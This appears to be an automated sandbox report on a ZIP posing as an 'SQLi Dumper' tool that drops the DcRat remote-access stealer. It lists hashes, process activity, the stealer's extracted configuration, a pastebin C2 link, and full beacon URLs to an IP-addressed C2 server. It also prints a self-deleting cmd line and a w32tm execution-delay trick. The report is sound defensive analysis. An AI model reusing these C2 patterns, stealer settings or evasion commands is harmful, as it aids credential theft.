File name:

SQL Dumper v 8.5.zip

Full analysis: https://app.any.run/tasks/a4be4933-8da0-4e1c-824f-3c7c0c70570f
Verdict: Malicious activity
Threats:

A backdoor is a type of cybersecurity threat that allows attackers to secretly compromise a system and conduct malicious activities, such as stealing data and modifying files. Backdoors can be difficult to detect, as they often use legitimate system applications to evade defense mechanisms. Threat actors often utilize special malware, such as PlugX, to establish backdoors on target devices.

Malware Trends Tracker     >>>
Analysis date: November 13, 2023, 13:04:21
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
rat
backdoor
dcrat
remote
stealer
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract
MD5:

7FEC911D075E52605BEEFF600771A703

SHA1:

94779FEFAED981E0EBA8F67AEC481B5F62956C90

SHA256:

FF438D82C97F29DFD30CE86CDE6501FEFA4B075570DEFA2A20B9ECA189F54D1F

SSDEEP:

98304:tbmrB50q0CI+H66M0ghDcUbweNAsL+tOJmOG1JUsXeP2SldOFl0TN6Z8JM5uUTUl:jTBW3bdv/G

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops the executable file immediately after the start

      • SQLi Dumper v8.5.exe (PID: 3456)
      • System32.exe (PID: 3220)

    • Create files in the Startup directory

      • System32.exe (PID: 3220)

    • UAC/LUA settings modification

      • Microsoft.exe (PID: 2928)

    • DCRAT has been detected (SURICATA)

      • Microsoft.exe (PID: 2928)

    • DCRAT has been detected (YARA)

      • Microsoft.exe (PID: 2928)

    • Steals credentials from Web Browsers

      • Microsoft.exe (PID: 2928)

    • Connects to the CnC server

      • Microsoft.exe (PID: 2928)

    • Steals credentials

      • Microsoft.exe (PID: 2928)

    • Actions looks like stealing of personal data

      • Microsoft.exe (PID: 2928)

  • SUSPICIOUS

    • The process creates files with name similar to system file names

      • WinRAR.exe (PID: 3376)

    • Process drops legitimate windows executable

      • WinRAR.exe (PID: 3376)

    • Reads settings of System Certificates

      • Microsoft.exe (PID: 2928)

    • Reads the Internet Settings

      • Microsoft.exe (PID: 2928)
      • SQLi Dumper v8.5.exe (PID: 3456)

    • Reads browser cookies

      • Microsoft.exe (PID: 2928)

    • Loads DLL from Mozilla Firefox

      • Microsoft.exe (PID: 2928)

    • Executing commands from a ".bat" file

      • Microsoft.exe (PID: 2928)

    • Starts CMD.EXE for commands execution

      • Microsoft.exe (PID: 2928)
      • SQLi Dumper v8.5.exe (PID: 3456)

    • Connects to the server without a host name

      • Microsoft.exe (PID: 2928)

    • Probably delay the execution using 'w32tm.exe'

      • cmd.exe (PID: 3992)

  • INFO

    • Drops the executable file immediately after the start

      • WinRAR.exe (PID: 3376)

    • Checks supported languages

      • SQLi Dumper v8.5.exe (PID: 3456)
      • System32.exe (PID: 3220)
      • Microsoft.exe (PID: 2928)

    • Create files in a temporary directory

      • SQLi Dumper v8.5.exe (PID: 3456)
      • Microsoft.exe (PID: 2928)

    • Creates files or folders in the user directory

      • System32.exe (PID: 3220)

    • Reads the computer name

      • Microsoft.exe (PID: 2928)
      • System32.exe (PID: 3220)
      • SQLi Dumper v8.5.exe (PID: 3456)

    • Reads the machine GUID from the registry

      • System32.exe (PID: 3220)
      • Microsoft.exe (PID: 2928)

    • Process checks are UAC notifies on

      • Microsoft.exe (PID: 2928)

    • Reads Environment values

      • Microsoft.exe (PID: 2928)

    • Reads product name

      • Microsoft.exe (PID: 2928)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

DcRat

(PID) Process(2928) Microsoft.exe
C2 (1)https://pastebin.com/raw/LWvs8stk
Options
MutexDCR_MUTEX-SXhglnzOTZk9uvwyAXEf
savebrowsersdatatosinglefilefalse
ignorepartiallyemptydatafalse
cookiestrue
passwordstrue
formstrue
cctrue
historyfalse
telegramtrue
steamtrue
discordtrue
filezillatrue
screenshottrue
clipboardtrue
sysinfotrue
searchpath%UsersFolder% - Fast
Targetru
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: -
ZipCompression: Deflated
ZipModifyDate: 2023:11:11 15:57:04
ZipCRC: 0x8ca18770
ZipCompressedSize: 137049
ZipUncompressedSize: 316416
ZipFileName: dxdiagn.dll
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
43
Monitored processes
7
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winrar.exe no specs sqli dumper v8.5.exe no specs system32.exe #DCRAT microsoft.exe cmd.exe no specs cmd.exe no specs w32tm.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2904"C:\Windows\system32\cmd.exe" /c del "C:\Users\admin\AppData\Local\Temp\Rar$EXa3376.15874\SQLi Dumper v8.5.exe" >> NULC:\Windows\System32\cmd.exe—SQLi Dumper v8.5.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2928"C:\Users\admin\AppData\Local\Temp\Microsoft.exe" C:\Users\admin\AppData\Local\Temp\Microsoft.exe
SQLi Dumper v8.5.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
3221225547
Version:
5.15.2.0
Modules
Images
c:\users\admin\appdata\local\temp\microsoft.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
DcRat
(PID) Process(2928) Microsoft.exe
C2 (1)https://pastebin.com/raw/LWvs8stk
Options
MutexDCR_MUTEX-SXhglnzOTZk9uvwyAXEf
savebrowsersdatatosinglefilefalse
ignorepartiallyemptydatafalse
cookiestrue
passwordstrue
formstrue
cctrue
historyfalse
telegramtrue
steamtrue
discordtrue
filezillatrue
screenshottrue
clipboardtrue
sysinfotrue
searchpath%UsersFolder% - Fast
Targetru
3220"C:\Users\admin\AppData\Local\Temp\System32.exe" C:\Users\admin\AppData\Local\Temp\System32.exe
SQLi Dumper v8.5.exe
User:
admin
Company:
Microsoft 1989-2023
Integrity Level:
MEDIUM
Description:
System32
Exit code:
0
Version:
12.6.12.6
Modules
Images
c:\users\admin\appdata\local\temp\system32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
3376"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\SQL Dumper v 8.5.zip"C:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\comdlg32.dll
3456"C:\Users\admin\AppData\Local\Temp\Rar$EXa3376.15874\SQLi Dumper v8.5.exe" C:\Users\admin\AppData\Local\Temp\Rar$EXa3376.15874\SQLi Dumper v8.5.exe—WinRAR.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\rar$exa3376.15874\sqli dumper v8.5.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
3972w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 C:\Windows\System32\w32tm.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Time Service Diagnostic Tool
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\w32tm.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
3992C:\Windows\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\pvvx2o8qhw.bat" "C:\Windows\System32\cmd.exe—Microsoft.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
Total events
6 038
Read events
5 993
Write events
45
Delete events
0

Modification events

(PID) Process:(3376) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\17A\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(3376) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\virtio_ivshmem_master_build.zip
(PID) Process:(3376) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\Win7-KB3191566-x86.zip
(PID) Process:(3376) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\Desktop\phacker.zip
(PID) Process:(3376) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(3376) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(3376) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(3376) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(3376) WinRAR.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(3376) WinRAR.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
Executable files
8
Suspicious files
25
Text files
3
Unknown types
0

Dropped files

PID
Process
Filename
Type
3220System32.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System32.exeexecutable
MD5:2EFE3845E4F5AF06520A814F8DD17991
SHA256:B68340976D8736507AEDFED85CCE9D6C0A158EE9ECBC54473921D0DB04062724
3456SQLi Dumper v8.5.exeC:\Users\admin\AppData\Local\Temp\System32.exeexecutable
MD5:2EFE3845E4F5AF06520A814F8DD17991
SHA256:B68340976D8736507AEDFED85CCE9D6C0A158EE9ECBC54473921D0DB04062724
3376WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$EXa3376.15874\SQLi Dumper v8.5.exeexecutable
MD5:F5049E4D9B1AD4D39F86FCE0F86EB6C5
SHA256:A118F2B71C68978113711187D2F055CB0D86148BA7628241B56403FFDD70FF0F
3376WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$EXa3376.15874\NlsData0026.dllexecutable
MD5:A08FF320A2BD98F9982B2B91F57D7881
SHA256:D175F3C196BAFA05D18424490BFCF2DF7A93341608DF67B808DCED5EE7CEC668
3376WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$EXa3376.15874\eapphost.dllexecutable
MD5:7F9AEC82D7480068C6D444D4FD8FB36F
SHA256:E697AA951AA9E49988DF3C984FC5426D267D7BBC9DB83670E3C1F34DA95095F9
3456SQLi Dumper v8.5.exeC:\Users\admin\AppData\Local\Temp\Microsoft.exeexecutable
MD5:40F67FCDFA54779C715D7056C9B53E85
SHA256:8634047C7A8B0AB06D55D569EA430A379C559FD7A05DBE210E993A0D948DC58C
2928Microsoft.exeC:\Users\admin\AppData\Local\Temp\utdl1d52Fhbinary
MD5:404978FF2147D79C2046D7D50911281E
SHA256:F55B3160936E6D358A76CC1561C7A4D54E325929ECE887C287BEC79A986B03D1
2928Microsoft.exeC:\Users\admin\AppData\Local\Temp\AOs2dLoHw4text
MD5:C282A6CC15229C7DA2ABE5B0CF7E4103
SHA256:C7921BE728AEC8532470B688980417E745F0FEDC1823E91D05B3AB4986CDEA87
2928Microsoft.exeC:\Users\admin\AppData\Local\Temp\Rh16yNJa9rbinary
MD5:CBD6954F3F1A1E887DDB60ABA514A353
SHA256:D1ED295B4EBF06D94F0FEB66C7E6409031CBEB54F3BDB5C660A832C09000181D
2928Microsoft.exeC:\Users\admin\AppData\Local\Temp\p6of5sEv6Tbinary
MD5:A5B55EF875A290F8739655274B5CFAE6
SHA256:3C6E069A7DF07EE5ECA265821545BD9B5A0BE65DCA21805D42B10133D12916CF
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
16
TCP/UDP connections
8
DNS requests
2
Threats
3

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2928
Microsoft.exe
GET
—
94.131.112.229:80
http://94.131.112.229/b1e57687.php?9wqw6DfNUvaZEhgV5Cc=mAdRNKxcY6jClCs9nEU3L&8d217a380a2b0a4c6866905b74e17a20=kFGZlZ2M1YTYzMWOmVGN1IWO3YWYjdzY5UTO2Q2M0UDOxYGZkRWN2MjN1UDN1EDOzITO1kTN&19c7d55e76eb5f2989514a767abccb1a=gY2kTO4IDN0QmYwMWM0QTNmZWN5MWOlNzNlRGZ3MGZ5gTY4QWN2YjM&b302823833ae322b8e9ce4b7812a8d9a=d1nIilDO1YzN5YWYxIGM4IWY1ATO0MjYwUTYwYzNxUmYzQWZ2gTMzEmZ0IiOiMGOjNDM5AjMjJ2Y4AzYzIGMhFzYldDOxAjYhVTMkJ2YiwiImZmNhJjY4IWMmVWOkR2Y2UmY4YWMkNmZjJWZ4ImZjNGO2QDN5ETNzIiOikTYzIWOiNjZidjZ3QDMiZmYxQTOllTOhZmN3kzMxQWNis3W
unknown
—
—
unknown
2928
Microsoft.exe
GET
—
94.131.112.229:80
http://94.131.112.229/b1e57687.php?9wqw6DfNUvaZEhgV5Cc=mAdRNKxcY6jClCs9nEU3L&8d217a380a2b0a4c6866905b74e17a20=kFGZlZ2M1YTYzMWOmVGN1IWO3YWYjdzY5UTO2Q2M0UDOxYGZkRWN2MjN1UDN1EDOzITO1kTN&19c7d55e76eb5f2989514a767abccb1a=gY2kTO4IDN0QmYwMWM0QTNmZWN5MWOlNzNlRGZ3MGZ5gTY4QWN2YjM&da30cd2ff4bf14e7c7e2a05392524306=0VfikjSDNGdWdkVjhnRihmTyIWT4ZEWoJFWZVkQINmQ4ZEW1x2VitmRHh1YO52Ys5EWWNGes9ERKl2Tpd2RkhmQsl0cJlmYzkTbiJXNXZVavpWSvJFWZFlUtNmdOJzYwJ1aJNXSplkNJNUYwY0RVRnRtNmbWdkYsJFbJNXSplkNJl3Y3JEWRRnRXpFMOxWSzlUaiNTOtJmc1clVp9maJVEbrNGbOhlV0Z0VaBjTsl0cJl3Y2R2VhlnUXlVe5YkYsxWbjlmRyoVavpWS5ZlMjZVMXlFbSNTVpd3QiNnVuJmNJlnW1Z0RURnRXpFMOxWSzl0UihmVHRme5k3Ysh3Vh1mQTJGaKNjW2pESjZ3b6lVavpWSvJFWZFVMXlFbSNTVpdXaJBHOXF2aWhVUnNGVP5WTVF1ZzdlWwg3VZxmSGt0Z0c1UnVVbiBHerJ2YKhEW2x2RaFjRFl0MrpnSEZURJJnVHR2cGdlWTh2QJxWNyI2bCNjY550Vh5kSp9UaNhlW1lzRhdXOtNmasdFVpdXaJl2bqlkexcVWqp0VahlSDxUa0cEW5hnVNplRFRVUOZ1UFhnRYV3dGh1Y4xWS2kUejVnVXpVeOJTVpdXaJVHZzIWd01mYWpUaPlWQWN1TGVEVpdXaJNEZFlkeJl2TpBTVRNlSDxUa0IDZ2VjMhVnVslkNJNkYzZkMkxmSYF2RKNETpRjMkZXNyEWdWxWS2kUejFjSYFmMsdEZ1Z0aJNXST10ZwMUSndXRUZkUrlkNJlmY2xmMjlnVtZFV5U1UDp0QMlWTxQlSKVUS0Z1RkpHbzU1ZRhkYxYUbaxmUrlkNJNlW0ZUbURVOVN1QKNETpRjMkZXNyEWdWxWS2k0QSpkUtNGa50WW5Z1RhBTOXRVa3lWS1R2MiVHdtJmVKl2TplEWalnVIRmaG1mWxUzVZ5kUtNGa50WW5Z1RhBTOXRVa3lWS1R2MiVHdtJmVKl2TpV1VihWNFpVeGJjYppEWa9mUzImTKNETpVkajxGeHJmdKhEZ1ljMRZnVHpFcaxWS2k0QapkVykFcahlWFZlRVhkSDxUaFBDTPpUaPlWVHRGaKZUY6ZVbj1mVtVFNGdFVWJUMSl2dplkQ5kGVp9maJVXOXFGMChVY55kMjxmUVp1a5cFV2Z1RaBnWWZVUktWSzl0URZHNrlkNJNVZ5lzVixWMwIGbSdVYXZlRVhkSDxUaFBDTPpUaPlWSzImeOhlWqlTbjFVOXp1as1mVWJUMSl2dplUMJl2TpVVbjFjUzkFbShVYv5UbjJUOXp1as1mVWJUMSl2dplUeWdEZ3Z0RaJkQ5NmasdUY3ZUbjhkQTFFSaZUSrpEWZtWNXlFMOxWS2k0UaRnRtRlVCFjUpdXaJpXVr50dVRUT3FkaSdkSrJ1QopnT3lUaPlWUXNVe5IzY6ZlMZZnSIVlVCFTUpdXaJdXVGVFRKl2TpF1VTxmTXFmMWdkUWJUMRl2d55ENVpXT2kUaiZHbyMGcahlWTZlRVRkSDxUavh0UOJ0QNJTR61UavpWSrZ1VadnTxEma5ckYEJlbixmSuNWMOVlVR50aJNXSTFld0sWS2k0QaxmVHNGV0JTW2hnMRNnRtJWeWdEZ0YVVWFlTrl0cJlWUwRXRJdXSp9UaV1WZw5kVa9mTXlFROREVWJUMRl2dplkQ5kGVp9maJxGcYFGVWdUYqZkMRl3dVZVUOtWSzl0UPl2bqlEbKhFZw40VaBDbHFmaKhVUWJUMRl2dD5kNJl3Y5ljMjpnVykldKhUVzZkMZBHZyIWTWZUVEp0QMBzbqlkeW12Y25UVWFlTrl0cJlXTnNWbiBnQINGbSNTVnFFVNd2dXp1a5cFVnlFRJVDeXFGdG1mUnFlaORjSp9Ua0IjYwJFSjBnSzkleWdkUWJUMRl2dplkNoBjU3NmaMlXQDF1ZVZUVEJ0QNdXUq5EdVRVYnt2UUVFaTpVe5ITUntWaV92dXpFM1c1Up9maJxWMXl1TWZUVEp0QMlWSqxUM0MkTp9maJVXOXFmeKhlWXRXbjZHZYpFdG12YHpUelJiOiQWY1QzMhVjZ4gTZmZmNmNmZkljYiZmNlFmZyMGOxYWMiwiImFDMjJTN0cjZmJTYyUWMiBDM5EjNyEzMmVGNmhjYkdTYyIzM5UmMmJiOiMGOjNDM5AjMjJ2Y4AzYzIGMhFzYldDOxAjYhVTMkJ2YiwiImZmNhJjY4IWMmVWOkR2Y2UmY4YWMkNmZjJWZ4ImZjNGO2QDN5ETNzIiOikTYzIWOiNjZidjZ3QDMiZmYxQTOllTOhZmN3kzMxQWNis3W
unknown
—
—
unknown
2928
Microsoft.exe
GET
—
94.131.112.229:80
http://94.131.112.229/b1e57687.php?9wqw6DfNUvaZEhgV5Cc=mAdRNKxcY6jClCs9nEU3L&8d217a380a2b0a4c6866905b74e17a20=kFGZlZ2M1YTYzMWOmVGN1IWO3YWYjdzY5UTO2Q2M0UDOxYGZkRWN2MjN1UDN1EDOzITO1kTN&19c7d55e76eb5f2989514a767abccb1a=gY2kTO4IDN0QmYwMWM0QTNmZWN5MWOlNzNlRGZ3MGZ5gTY4QWN2YjM&000f87d4164c8737a1e81f7f9c9fda31=0VfiIiOiQWY1QzMhVjZ4gTZmZmNmNmZkljYiZmNlFmZyMGOxYWMiwiIkJGZhFDZ4ADNkVTOlZDOwkTMklDNidTYwQmZxAjYiBzMlljM4QDOiJiOiMGOjNDM5AjMjJ2Y4AzYzIGMhFzYldDOxAjYhVTMkJ2YiwiImZmNhJjY4IWMmVWOkR2Y2UmY4YWMkNmZjJWZ4ImZjNGO2QDN5ETNzIiOikTYzIWOiNjZidjZ3QDMiZmYxQTOllTOhZmN3kzMxQWNis3W
unknown
—
—
unknown
2928
Microsoft.exe
GET
200
94.131.112.229:80
http://94.131.112.229/b1e57687.php?9wqw6DfNUvaZEhgV5Cc=mAdRNKxcY6jClCs9nEU3L&8d217a380a2b0a4c6866905b74e17a20=kFGZlZ2M1YTYzMWOmVGN1IWO3YWYjdzY5UTO2Q2M0UDOxYGZkRWN2MjN1UDN1EDOzITO1kTN&19c7d55e76eb5f2989514a767abccb1a=gY2kTO4IDN0QmYwMWM0QTNmZWN5MWOlNzNlRGZ3MGZ5gTY4QWN2YjM&000f87d4164c8737a1e81f7f9c9fda31=QX9JSUNJiOiQWY1QzMhVjZ4gTZmZmNmNmZkljYiZmNlFmZyMGOxYWMiwiI3MTN3AjMlJmZmZmYiJmM3kDZhlTYyQjY1YGM4MzNzgTN2kjM2cjMmJiOiMGOjNDM5AjMjJ2Y4AzYzIGMhFzYldDOxAjYhVTMkJ2YiwiImZmNhJjY4IWMmVWOkR2Y2UmY4YWMkNmZjJWZ4ImZjNGO2QDN5ETNzIiOikTYzIWOiNjZidjZ3QDMiZmYxQTOllTOhZmN3kzMxQWNis3W
unknown
text
104 b
unknown
2928
Microsoft.exe
GET
200
94.131.112.229:80
http://94.131.112.229/b1e57687.php?9wqw6DfNUvaZEhgV5Cc=mAdRNKxcY6jClCs9nEU3L&8d217a380a2b0a4c6866905b74e17a20=kFGZlZ2M1YTYzMWOmVGN1IWO3YWYjdzY5UTO2Q2M0UDOxYGZkRWN2MjN1UDN1EDOzITO1kTN&19c7d55e76eb5f2989514a767abccb1a=gY2kTO4IDN0QmYwMWM0QTNmZWN5MWOlNzNlRGZ3MGZ5gTY4QWN2YjM&b302823833ae322b8e9ce4b7812a8d9a=d1nIjVmZzQ2YklDNiRmMmJWMmRDMlBDNmdDNkF2Y5cDOiVmM5QTZlVTNiJiOiMGOjNDM5AjMjJ2Y4AzYzIGMhFzYldDOxAjYhVTMkJ2YiwiImZmNhJjY4IWMmVWOkR2Y2UmY4YWMkNmZjJWZ4ImZjNGO2QDN5ETNzIiOikTYzIWOiNjZidjZ3QDMiZmYxQTOllTOhZmN3kzMxQWNis3W&000f87d4164c8737a1e81f7f9c9fda31=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